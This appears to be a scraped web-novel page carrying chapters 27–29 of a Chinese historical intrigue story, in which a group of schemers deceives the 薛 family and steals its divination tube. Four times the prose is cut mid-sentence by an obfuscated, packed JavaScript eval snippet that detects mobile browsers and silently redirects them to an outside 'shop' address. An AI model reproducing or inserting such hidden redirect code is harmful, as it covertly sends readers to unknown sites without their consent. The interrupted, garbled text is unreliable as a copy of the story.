“晏回……”薛承宗不由得咬紧后槽牙，重复了一遍这个名字。 “是啊！” 薛灵犀红着眼眶截口道，“那日流石过后，我们是在凹坑里找到了您和晏公子。他为了护着您，伤了额角，晕眩不止，更难得的是——”她顿了顿，语气里满是敬佩，“他第一句话就是催促我们先救您，对自己的伤只字不提。还有那些拳毛騧……” 闻言，薛承宗精神一振。他狼狈至此，甚至不得不欠了那晏回一个人情，不就是因为那批拳毛騧吗！他冒着大雨突袭马场，就是因为猜度到晏回这奸商在马匹的毛皮上做了手脚，方才有了这批天降神马。而楚庸洗马还要偷偷摸摸，不正是说明假的拳毛騧见不得水吗！暴雨之下，这么多双眼睛看着，定能让他们无所遁形！ 薛承宗心头大喜，正欲追问，却听薛世茂懊恼到：“阿姊，可别提那些拳毛騧了……晏兄都要伤心死了……” 薛世茂的脸上尽是痛惜与感慨，却没有丝毫上当受骗的愤怒，薛承宗大惑不解道：“那些马怎么了？” “就因为那场杀千刀的流石，山体裂了道丈宽的缝，马群全顺着裂缝跑了！晏兄为了救您，根本没来得及追马——他这次带来的数十匹良驹，一匹不剩，全跑了！人家这是……倾家荡产救了您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695005|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一命啊……” 薛世茂的话语鼻音很重，眼圈也不自觉地红了：“昨日，儿子去探望晏兄，他只问您的身体，可他自己的损失却……哎……” 薛承宗怔住了，他看着自家这一双为了明显不怀好意的旁人长吁短叹的儿女，竟是半晌无言。是自己将这对儿姐弟保护得太好了吗？他们不仅看不出造假的拳毛騧，亦看不出晏回的苦肉计，甚至还在为对方本就不存在的损失痛心疾首，而没有对这样太过巧合的偶然产生一丝一毫的怀疑。 一股掺杂着无奈的怒气涌了上来，薛世茂刚想开口，屋外又急匆匆地跑进来一个人，正是他的二弟薛承业。他的身后，跟着无论何时都不紧不慢的薛承文。 “大哥，你醒了！”薛承业喜气洋洋地凑上前来，把床边伺候的薛世茂挤了开去。“正好，我有事同你商量。” “二叔，爹刚醒，身子尚且虚着，您能不能……”薛灵犀劝阻道。 “我倒要听听二弟……要说什么。”薛承宗沙哑着嗓子开口了，他有预感，薛承业即将说出的话语，会比自家儿女所言更令自己怒不可遏。 果不其然，薛承业笑道：“大侄女，你瞧，你爹身子骨硬朗着呢！这可是他催我说的啊——大哥，你昏迷的这些日子，府上派了不少人陪那晏公子找马，可惜啊，连根马毛都没寻着。我寻思着，这兴许啊就是天意！” “天意？”薛承宗冷笑着扯了扯嘴角。 薛承业点头道：“可不是天意吗？这晏公子财大气粗，能从西域千里迢迢运来拳毛騧，却偏偏在咱们府城里‘翻了船’，不就是上天给咱们的机会吗？大哥，我早就劝过你，宁做凤尾不做鸡头，若是趁着晏公子亏损之际，和他搭上线，在西域的商路上分一杯羹，长此以往，别说府城的生意了，就是京城的生意咱们也未必不敢碰！” 薛世茂闻言，脸上毫不掩饰地乐开了花，往日里看上去不招人待见的二叔，今日瞧着却是和蔼可亲起来。 “爹，你瞧，二叔还有这般远见！”薛世茂没忍住，吹捧了一句。 薛承业笑得更欢了，拍着薛世茂的肩膀，格外亲厚道：“你平时也是小瞧了你二叔，在做生意上，你二叔感认第二，就没有敢——” 一声冷笑从薛承宗的齿间溢了出来，冷硬得出奇，薛承业和薛世茂的笑容收敛了些，僵在了脸上。 “这件事，你同承文商量了？”薛承宗将目光投向一旁垂眸不语的三弟薛承文。 “大哥，你也知道，承文整日里就知道吃斋念佛，生意上的事儿都不操心的……我这不，抓紧先来跟你商量吗……” 薛承宗看了看佛爷似的薛承文，又看了看围坐在身前却心系于一个骗子之身的众人，怒极反笑，斥道：“我看你们一个个，真是被那晏回灌了迷魂汤了！我人还没醒，你们倒是心心念念替外人算计起来了！” 27.生死签（十） “大哥，您这话说得可就见外了，那晏公子马群虽失，可他手里握着撒马儿罕的商路啊！咱们薛家马场不就缺这样通天的路子？我和世茂——”薛承业迅速地与自家侄子交换了一个默契的眼神，“这也是为了家里好啊！” “为了家里好！？你们知道那晏公子的底细，了解那晏公子的意图吗？世茂也就罢了，他自来是个没心眼儿的，可承业你怎地也随着他胡闹！” “爹，你这就没道理了！”本来觉得薛承宗伤病初愈，薛世茂还极力压着火气，这番听父亲劈头盖脸地骂自己没脑子，薛世茂也憋不住了，急道：“晏兄还能有什么底细，还能有什么意图，人家前脚刚救了您的命，后脚你就不认账了？” 薛承宗气得直发笑，斜眼瞅着薛世茂：“撒马儿罕的商路……哼，被几匹假拳毛騧骗得团团转，还敢跟你爹这般理直气壮！” 府宅中的外事，薛灵犀本不欲插手，可眼瞧着众人火气上涌，剑拔弩张起来，薛灵犀也只得去拉拽梗着脖子的薛世茂，想要他跟爹服个软。谁料，薛世茂是个顺毛驴，从来都是吃软不吃硬，见亲爹先是说自己没脑子，又在自己最自豪的相马一事上狠狠踩了一脚，浑身一哆嗦，踏前一步大声道：“爹！您可以瞧不起孩儿，但您不能讥讽孩儿不会相马！那拳毛騧，孩儿是一匹一匹相看过的，绝对做不得假走不得眼的！” “若你就是看走眼了呢！”薛承宗怒喝。 “那您就将孩儿的眼珠子剜出来泡酒喝！” “啪”！一声清脆的巴掌声过后，整个屋子都静了下来。 “混账东西！”薛承宗气得浑身颤抖，指着薛世茂的鼻子恨铁不成钢道：“为了一个外人你竟然……” “我说不允就不允！”房间里回荡着薛承宗怒极的吼声。 令人窒息的沉默持续了很长一段时间，近乎凝滞的空气中突然传来一阵捻动珠串的声响。薛承宗转过头，正对上薛承文低眉垂首的脸，他没有看薛承宗，只是盯着手中盘着的星月菩提。 “大哥，您怕是忘了，您虽是当家之人，可府上的事也并非全由您一人做主。”薛承文微微抬眼，露出细长上扬的眉眼，和镶嵌在眼眶里深不见底的瞳仁。“——老祖宗才说得算。” 薛承宗的脸上露出惊愕的神色，若是薛承文不开口，他几乎已经忘了自己还有这么个不言不语的弟弟存在，就如同在他与王五六密谈那日，他也没有注意到站在门廊处的薛承文。 然而，沉默的山石在雨水的冲刷下也将成为喧涌的泥石流。 “既然大家各存心思，谁也说不听谁，那何不去祠堂请祖宗定夺呢？” “三弟，这等小事，还需去祠堂请神签吗！”薛承宗还欲以势相挟，薛承文却微微一笑，转而看向薛承业和薛世茂。 “族规有云，大疑难决时，神签定吉凶。二哥，世茂，你们觉得呢？” 薛世茂一手捂着自己被抽红的脸颊，一手攥拳，恨恨道：“三叔说得是，该请！侄子今年也逾弱冠了，正是参加祠堂群议之时！” “我也同意承文的看法，毕竟——”薛承业勾了勾嘴角，对上薛承宗的眼睛，“祖宗定的规矩，谁也不敢置喙。” * * * “听说啊”，唐珠儿神秘兮兮地朝着大房的方向挑了挑下巴，“那大老爷刚醒，就和薛公子吵了一大驾，都动手了呢！” 闻言，范凌舟面露得色，笑道：“一切都在本诸葛预料之中。” “嘁”，唐珠儿翻了个白眼，“你就是动动嘴皮子，这件事儿上出力最多的可是姊姊和楚大哥。” 此时，晏回正靠在美人榻上闭目养神，听见唐珠儿和范凌舟每日日常般地争吵，微微蹙了蹙眉，转过身子面朝墙，装作没听见二人的龃龉。 范凌舟见晏回没有阻拦，便继续向唐珠儿挑衅道：“便是动嘴皮子了，怎地，有本事你也动啊！” “这可是你说的啊，别后悔！”话音未落，唐珠儿便如同炸了毛的猞猁般猛地向范凌舟扑将过去。范凌舟旋腰扭身，往晏回的美人榻后方躲去。 “一天天的就知道咬人！西楼，救我！” 二人在美人榻旁追逐扭打，好不热闹，晏回却始终没有睁眼，甚至还将搭在腰际的薄毯使劲往上拉了拉。 正在屋外洒扫的楚庸闻声，不由笑着摇了摇头。自从丢了马匹，他也无需再留在砚池马场了，便搬回了西跨院照顾这一大家子。楚庸自幼便是寡言爱静的性子，可不知为何，自从加入了长生观，他反倒更乐于和晏回诸人呆在一起，仿佛他们身上残留着妹妹的旧影。 楚庸将暴雨折断的树枝残叶扫成一堆，和着扫帚有节奏的“刷刷”声，一阵颓丧拖沓的脚步声传入院中。楚庸停下手中的动作，抬眸望去，只见廊中的阴影下摇摇晃晃行来一人。 “薛公子。”楚庸主动打招呼道，屋内的嬉闹声瞬时止住了，仿佛刚刚什么都没有发生一般。 “楚……楚马师……晏公子呢？”薛世茂的身上有很重的酒气，登头盖脸扑了楚庸一身。这小公子虽然平日里行事荒唐了些，可白日里酗酒的事儿却是从来没有过。楚庸蹙了蹙眉，扶住了摇摇欲坠的薛世茂。 待薛世茂被搀扶着步入房中，头上还缠着布带的晏回坐起身来，笑着道：“贤弟这酒瘾可是不小，人还没到，酒香先至。不过，月满则亏，水满则溢，酒满则倾，贤弟还是莫要贪杯才是。” 原先还在房里追逐打闹的范凌舟和唐珠儿，此时早不知道躲到哪儿去了。楚庸将薛世茂扶到椅子上后，也行了个礼退了出去，房中只剩下晏回和醉醺醺的薛世茂。 薛世茂本就酒气上涌，此刻见晏回面色苍白，额头的布带上尚有余血，可嘴里说着的皆是对他的关心与照拂，当真春风化雨，润物无声，不觉眼眶一热，声音也哽咽起来。 “兄长，是我……对不住你！”他一边说，一边摇摇晃晃站起身，“啪叽”一下扑倒在晏回榻前。 晏回一怔，倾身去扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704468|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他，薛世茂却愈发委屈起来：“若不是我之故，兄长压根就不会将马放到砚池马场；若不是我之故，兄长也不必舍马救人；若不是我之故，兄长更不会丢了数十匹天马神驹，连根马毛都寻不回来……都怪我，都怪我！” 薛世茂双手抱着美人榻的榻腿，眼角竟真的流下泪来。 晏回的眸中划过一丝复杂的神采，半晌才温声道：“此皆愚兄之所为，之所愿，与贤弟无关，贤弟万莫自责啊！” 薛世茂狠狠地抹了一把脸上的泪，心中恼恨内疚交织，义愤难平。他为自己嫡嫡亲的弟兄叫屈，也为自己一毛不拔的父亲愧残。自己与二叔极力撮合，想要薛府与晏兄联手，这难道不是顺水推舟，锦上添花的事吗？可爹爹也不知怎地，横拉着竖挡着不允，这可让自己在晏兄这边如何做人？ 好在，自己和二叔还留了后手。 “晏兄，你放心，我与二叔、三叔逼着父亲，要为你请神签！”薛世茂止住哽咽，扬起头颅，自豪道：“只要神签所应之事，父亲便是再不愿，也得依签而行！” 晏回秀眉微扬，佯装疑惑之色，唇角却漾出一抹不易察觉的笑意：“神签？” * * * “嘁，还神签呢，说得冠冕堂皇，背地里还不知有多么阴损的勾当。”唐珠儿嘴上说得咬牙切齿，可眸子里洋溢得却尽是摩拳擦掌，跃跃欲试的兴奋劲儿。 “可听那薛公子这般说，似乎……他并不知晓其中真相……”一旁的楚庸却是笑不出来，有些同情道。 方才，薛世茂与晏回的对话，他与躲在屏风后的唐珠儿、范凌舟尽皆收入耳中。为了能让晏回与薛府联合，以往互相看不顺眼的薛世茂与薛承业竟然联手，逼着薛承宗去祠堂请“神签”。 一直以来，薛氏一族每逢遇到决定一族存亡发展之大事，都会由族长带领族中年过弱冠的成年男子，入祠堂请神签定夺。神签所做的决定，无论任何人都不得更改。而薛世茂与薛承业也妄图借此，强迫族长薛承宗答应与晏回合作。 ——兄长你放心，神签所定即是祖宗所定，绝无转圜之可能。与你联手，于情于理都是有益于薛家的，父亲固执古板，祖宗可不允他。只要神签站在晏兄这边，父亲也只能服软。 薛世茂拍着胸脯的承诺言犹在耳，楚庸不觉叹了一口气：“那薛公子虽是轻佻了些，但不似恶人……” 话说到一半，楚庸突然怔住了，他张着嘴，一时不知是该合拢还是继续发声。他看到，始终闭目养神的晏回倏然睁开眼睛，直直地向他看过来。那凌冽如同冰锥般地眼神，是楚庸从未在晏回面上见过的。 那种扼住他咽喉的威慑力，让楚庸瞬时将所有未宣之于口的话语吞了回去。 “楚兄，你在同情他？”晏回声音依旧平静，没有一丝波澜。 “我……”楚庸却不觉慌乱起来，有些无助地看向一旁的范凌舟。 “若果真如此，接下来的行动你便无须参与了。” 28.生死签（十一） 楚庸慌了，自妹妹大仇得报，他加入长生观以来，晏回、范凌舟与唐珠儿早已成为了家人一般的存在，而追随长生观行侠义之事，也已然成为了他活下去的支柱。方才晏回冷冰冰的一番话，虽无情绪，但以隐隐有了驱逐之意，楚庸只觉一股寒气从脚底直冲头顶，双腿一软，“噗通”一声跪倒在地。 “晏姑娘！我……我知错了……是我妇人之仁，险些误了大事，请晏姑娘降罪！” 见楚庸伏地跪着，唐珠儿心中不忍，但她一向唯晏回马首是瞻，此刻竟是一个字也不敢说。 倒是范凌舟惫懒地轻笑了两声，悠悠然踱到楚庸身边，在他的肩膀上拍了拍：“楚兄，西楼罚你，可不是因你这丁点儿‘仁心’。我长生观奉行以恶止恶，以暴制暴，便是因看透了天下恶人，睹尽了人间惨事，方知菩萨心肠无用，君子行径荒唐。你且想想，怜儿妹妹遭祸之时，又有谁施舍你那丁点儿‘仁心’呢？若真是有人相帮，你又何至于加入长生观呢？” “莫说是那看着莽撞天真的薛世茂，便是那薛府祠堂的梁上燕，檐下蛛，又有哪个没吃过弱者的供养，没沾过无辜者的鲜血呢？兽竞于野，强者噬弱；人活于世，智者欺愚，本就是这人间再简单不过的道理。” 楚庸的脸色由白转青，嘴唇哆嗦着说不出话，范凌舟垂头看了他一眼，踱到晏回的榻侧，微微弯下腰，几乎对着晏回耳语道：“西楼，我看楚兄也知错了，不如……就饶他这一遭？” 晏回的目光掠过楚庸颤抖的脊背，良久，指尖在榻沿上轻轻一扣：“楚兄，起来吧！” 楚庸如蒙大赦，膝行后退半步才敢起身，后背的冷汗已浸透了中衣，黏在皮肤上冰凉刺骨。晏回却恍若未见，语气平静地安排道：“三日之后，薛氏族人将于祠堂恭请神签，我们作为外人，没有资格入祠堂观礼，但这也就说明，在那个时段我们是相对安全的。所以，我们之前的一切筹划，都要在请神签的过程中进行，勿令圆满。” “楚兄——”晏回顿了顿，“你明白了吗？” 楚庸猛地抬头，对上晏回宁然无波的眼眸，喉结滚动着应道：“明白。” 天边最后一抹残阳敛去，济南府的夜终于坠下来了。 * * * 三日后。 薛世茂跟在父亲和几位族叔的身后，缓缓踏入薛府祠堂。幼时，他也曾在祠堂中与姐姐追逐玩耍，但却并非是这一座。薛府中有两间祠堂，一间用以供奉牌位，日常祭祀；而另一间唯有在请签群议之时方能开启。薛世茂才及弱冠，这也是他第一次走入祠堂之中。 在踏入祠堂的一瞬，周遭熙熙攘攘的人声顿时敛去，一种被攫住脊骨的怪异感觉传来，让薛世茂不由自主地抬起了头。随着目光的上移，薛世茂惊愕地张大了嘴巴。 寻常祠堂的梁木是松木或柏木，而此刻横亘在他头顶上方的是一道弯曲的灰白色骨梁，骨梁的弧度锋锐，最高处几乎要顶破祠堂的藻井，仿佛一轮从穹顶垂落的月亮。 “世茂，站到后边来。”薛世茂还欲再看，却听三叔薛承文的声音从左侧传来。定睛一瞧，族老们早已按辈分列站好，薛世茂赶紧缩了缩头，站到了队伍的末端。 祠堂正中的神座上，薛家列祖列宗的牌位早已被请了来，密密麻麻地端坐着，倾身望向堂下的众人。不知怎地，本来对祠堂群议充满好奇的薛世茂此刻只觉得后背发紧，一层层的冷汗浮了出来，让他一阵燥热又一阵寒凉。 越过低眉垂首等待的队伍，薛世茂朝供桌上巴望了一眼，只见红惨惨一片，夹杂着隐约的血腥气遥遥飘了过来。桌上摆放的祭品是半扇生猪肉，生枣糕数个，生鱼数条，正是凶祭的排场。 难不成……还真有祖宗显灵吗？ 心里这般想着，薛世茂不由艰涩地咽了口唾沫。 队伍的最前排，薛承宗表情冷硬地踱到了薛承文的身边。 “三弟，当真要为了一个外人，动用神签？” 一直以来，三弟薛承文都承担着和事佬的角色，他佛口慈心，从不逾矩，最是能够平衡自己与二弟薛承业的关系。可究竟是什么时候开始，这个三人之中的定心丹竟偏移至此了呢？ 薛承文依旧捻着佛珠，脸上带着一丝若有似无的笑意：“大哥，我们都说得不算——”他恭敬地朝神座上的牌位拜了拜，“祖宗说得算。” 说完，他也不再搭理薛承宗，又垂头念诵起来。这一句话怄得薛承宗浓眉倒竖，又不便在族中众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720486|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前发作，只得自吞苦水，走到一旁候着去了。 不到一盏茶的时间，请签群议正式开始了。 “时辰到！请香！”随着族老的唱喏，手捧三炷香的薛承宗被两个族丁搀扶着起身，开始绕梁而行。 正所谓，三匝通神，请签者要手捧敬香绕着神座转三圈，而香灰不断，方能算得了祖宗应允，可以请神签定吉凶。 薛世茂心下忐忑，眼睛时不时地往堂上瞄，只觉三炷香上的香灰越积越高，看上去摇摇欲坠。薛世茂心中暗道，若是父亲打定了主意不愿与晏回合作，只怕这时候步子稍微踉跄一下，香灰便断了。 他跟着心提到了嗓子眼儿，薛承宗却步履稳健，顺顺当当地走完了三匝。 ——兴许，爹也认头了？ “天圆地方，六丁六甲，神签落地，吉凶自彰——请签！”还不待薛世茂想明白，就见负责正仪的族老朗声念诵起来。同时，神座后步出两名男子，高举一只青铜方盘，盘上覆着红绸，红绸上卧着的正是连薛世茂都没见过的神签筒。 借着摇曳的烛火细细看去，签筒的筒身泛着异样的青白色，竟是以海兽骨掏空而成。筒口两侧的阴阳鱼首衔着铜环，冷意森森地凝着堂下众人。 “此乃永乐年间薛氏先祖从西洋带回的神签筒，内藏一百单八支神签，阳签刻“吉”，阴签刻“凶”，阴阳交错者……”薛承宗顿了顿，目光扫过薛世茂，“即为‘生死签’。” 薛世茂咽了口唾沫，紧盯着父亲拿起签筒的手。苍老枯瘦的手指缓缓包裹住签筒，手腕抬起又落下，筒内竹签相撞，发出“咔啦咔啦”的轻响，如同上下牙齿碰撞打战的声音。 “刷——”一支竹签破筒而出，在万众瞩目中坠向地面。 竹签坠地的声音很轻，却像重锤敲在薛世茂的心上。他踮起脚尖，越高无数人的头顶，看向那平躺在地面的签身。他的心脏狂跳着，几乎要冲破胸膛——只见竹身上刻着一行朱笔细字，清晰可见，分明是个…… 众人的目光皆黏着在竹签之上，却没有注意到，有一根细若蛛丝的银线自藻井的缝隙中缓缓垂落，如同长了眼睛般，稳稳地黏在了签筒的鱼首铜环上，而银线的另一端则隐入屋顶瓦片的阴影里。 29.生死签（十二） 翌日辰时，雾气尚未散去，薛承宗便带着薛世茂敲响了西厢房的大门，而倚靠在榻上读书的晏回也早已等候多时了。 “晏公子，身体可大好些了？”薛承宗的声音里带着一股大权重握的得色。自昨日祠堂群议之后，三弟薛承文收敛了眉目，重又变回往日吃斋念佛的清净模样；二弟薛承业趁夜躲了出去，说是要带着伙计到周边村镇要账；而自家儿子薛世茂，陡然失了两位族叔的帮扶，也立时没了主意，除了借酒消愁倒也没有什么翻天的行径了。 是以，此刻的薛承宗望向晏回的眼神，颇有几分胜者王侯败者寇的架势。可当他的目光扫过庭院中打包好的行囊，眼底却掠过一丝讶然。 “托薛老爷的福，一切安好。”晏回起身行礼，脸上挂着平和的笑意。 薛世茂跟在父亲身后，往日里挺直到略略后仰的腰板此刻瑟缩了些，他不敢看晏回，只盯着自己的靴尖，喉结不住滚动，像是有话堵在喉头，却半个字也吐不出来。 薛承宗悠悠道：“昨日祠堂之事，想来公子也听说了。公子对薛府有恩有义，数次仗义相助，我本也抱着合则两利的心思，可惜……”他的目光如鹰隼般锁住晏回平静的脸，一字一顿道，“可惜祖宗不允，实在是……哎……” “公子也看到了，府中近日琐事缠身，族内长辈亦多有微词，说我留客过久，反倒会扰了公子的计划，所以今日便带着犬子登门叨扰，问问公子的意思。” 晏回的指尖在扳指上轻轻摩挲着，瞟了眼在薛承宗背后“立棍儿”的薛世茂，笑道：“薛老爷言重了。拳毛騧既失，我本就该回西域再寻良驹，只是世茂贤弟盛情难却，这才多叨扰了几日。” 闻言，薛世茂身子一晃，抬起头来：“兄长……我……” 晏回微微抬手，制止了薛世茂的剖白，笑意里带着若有似无的叹：“贤弟不必多言。你我兄弟一场，他日若有缘西域相见，当与你共饮葡萄佳酿。” 薛世茂的表情比哭还难看，嘴唇直个劲儿哆嗦，却在薛承宗冷厉的注视下，将所有话咽回了肚里。 见晏回如此识趣，薛承宗脸色风雨稍霁：“既如此，老夫便不叨扰了。”说完，转身离去。 他这一走，倒把始终藏在他身后的薛世茂露了出来。薛世茂梗着脑袋，脚底板像生了根般，一动不动，只能看见他的拳头松开又攥紧，攥紧又松开，如此数次。 “世茂！”薛承宗走到月洞门时，见儿子仍杵在原地，便扬声道：“还愣着作甚？” 薛世茂浑身一颤，从怀里掏出了什么，猛地塞到晏回手里。 “这是阿姊……阿姊做的，兄长……路上吃……”说完，便狂奔而出，连头也不敢回。 晏回低头一看，手中是一包用油纸仔仔细细扎好的桂花糕。 * * * 还没穿过垂花门，油纸包里的桂花糕已经被唐珠儿吃了个精光。唐珠儿小心地将油纸包叠好，顺着纸张的缝隙向里偷偷吹了口气，“呼”地一声，油纸包鼓胀起来，把外层捆扎的麻线都顶了起来。 “喏，剩下的给你吃。”唐珠儿顺手递给范凌舟。 范凌舟没有接，挑了挑眉只是笑。 见骗不了这狐狸道长，唐珠儿也不气馁，转手送到楚庸面前。 “楚大哥，给你吃。” 楚庸哪里知道其中机巧，一叠声地道着谢接过，刚托在手上未及细看，唐珠儿便一个巴掌拍了过来，正落在那鼓鼓囊囊的油纸包上。 “啪——”少女的笑声和空纸包炸开的声音同时响起，楚庸也不由得咧开了嘴角。笑闹声引起了几个洒扫仆妇的注意，见晏回一行人大包小包的往门口走，都不由得停了手里的活计，垂下了头。 想来薛家父子兄弟因晏回闹得鸡飞狗跳一事，已是阖府皆知，便是下人仆妇们也都盼着这不速之客抓紧离去。见此情景，众人敛了笑，脚下的步子更快了。 府门外早已候着一辆双驾马车，楚庸抢先一步登了上去，掀开车帘，不由怔住了。车中端坐着一位女子，双目含泪，透过隐隐掀动的车帘缝隙，望着不远处的薛府大门。 “青杳姑娘……” 此人正是多日未见的薛负遗孀——青杳。 就在楚庸发愣的当儿，跟在身后的三人已经一个挨一个挤上车来。唐珠儿和范凌舟见了候在车中的青杳，只是微微颔首，并无讶然之色，最后上车的晏回更是面色平静，直接坐在了青杳身边。 楚庸不免尴尬，心中暗骂自己少见多怪，将车帘细致掩好，把私密的空间留给了其余三人。 车厢内，青杳的目光始终追在晏回的脸上：“晏姑娘，事情……事情办得如何了？” 晏回微微一笑，对唐珠儿道：“珠儿，给青杳姑娘瞧一眼。” “得令！”唐珠儿凑到青杳身边，小心翼翼地掀开自己贴身的褡裢，隐约有青白色的物什显露出来。 “这是！？”青杳瞪大了眼睛。 “这就是害了你夫君性命的东西，我费了好大力气弄到的！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724806|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”唐珠儿眨巴着眼溜溜的眸子，神色真诚无匹。 这物什青杳从未见过，但是从薛负偶尔的描述中，她还是对此物什印象深刻：“这是薛家的神签筒！” 唐珠儿得意地晃了晃脚，震得鞋尖虎头的胡须花枝乱颤。 “我和晏回姊姊早就算准了，薛承宗那老狐狸疑心重，神签筒必是被层层保护，外人绝难有机会见到。这才通过薛世茂混入薛家，再挑唆薛家三兄弟相互猜忌，提前在马场做下手脚，引发流石，将薛承宗差点儿看穿的拳毛騧放跑，再利用姊姊的苦肉计，逼得他们不得不重开祠堂群议。” “在这帮臭鱼烂虾济济一堂开会的时候，我便偷偷将傀儡丝从房顶垂挂下来，粘在签筒之上。傀儡丝坚韧无匹，弹性极强，任他将签筒藏到十八层地狱下面，我也能寻迹追踪，趁着夜深人静，将签筒偷梁换柱。” “得得得，功劳都是你一个人的呗！”范凌舟笑着睨了她一眼。 “倒也不完全是，”唐珠儿大咧咧道，“那假的神签筒，你做得还是惟妙惟肖的，也算你出了把子力气。” “哟，那还真谢谢你了。” 青杳哪还有心思听唐珠儿和范凌舟斗嘴，只是双眸一瞬不瞬地盯着那骨质的神签筒，不自觉地探出手去，将它紧紧握住。一股咸腥的寒意顺着她的掌心直钻入血管，令她遍体生寒。 就是这么一个普普通通的签筒，便能生生要了负郎的性命吗？它如何做得？它凭何做得？ 心思辗转间，马车突然一阵颠簸，青杳握持不住，签筒脱手而出。下一瞬，一只苍白的手凌空而至，将抛到空中的神签筒稳稳停住。 “小心”，晏回将神签筒放回唐珠儿贴身的褡裢中，轻声道：“这签筒中的机扩精巧，磕碰不得。” 闻言，唐珠儿坐得里青杳远了些，双手环抱住怀里的褡裢：“姊姊，签筒已然在我们手里，那咱们下一步该怎么办呢？” “待研究明白其中的机扩后，这签筒还是得完璧归赵，同时还要让薛氏一族再举行一次祠堂群议。” “啊……还来？”唐珠儿唉声叹气道，“咱们都离开薛府，还怎么撺掇这帮臭鱼烂虾开大会啊！” 晏回与范凌舟对视了一眼，范凌舟微微掀开车厢的布帘：“想吃冰天上便下雹子，瞧，机会这不就来了。” 只见数十名衣衫褴褛的佃农围聚在一起，群情激奋地朝着薛府走去。 “楚兄，把马车打横停在那边儿树荫下，咱们看完热闹再走。”范凌舟道。